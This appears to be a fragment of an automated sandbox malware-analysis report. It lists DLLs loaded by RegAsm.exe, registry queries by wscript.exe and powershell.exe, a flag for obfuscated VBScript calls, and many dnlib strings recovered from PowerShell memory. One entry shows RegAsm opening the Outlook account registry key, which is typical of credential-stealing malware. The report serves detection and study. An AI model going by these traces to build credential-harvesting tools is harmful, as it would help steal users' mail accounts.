Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
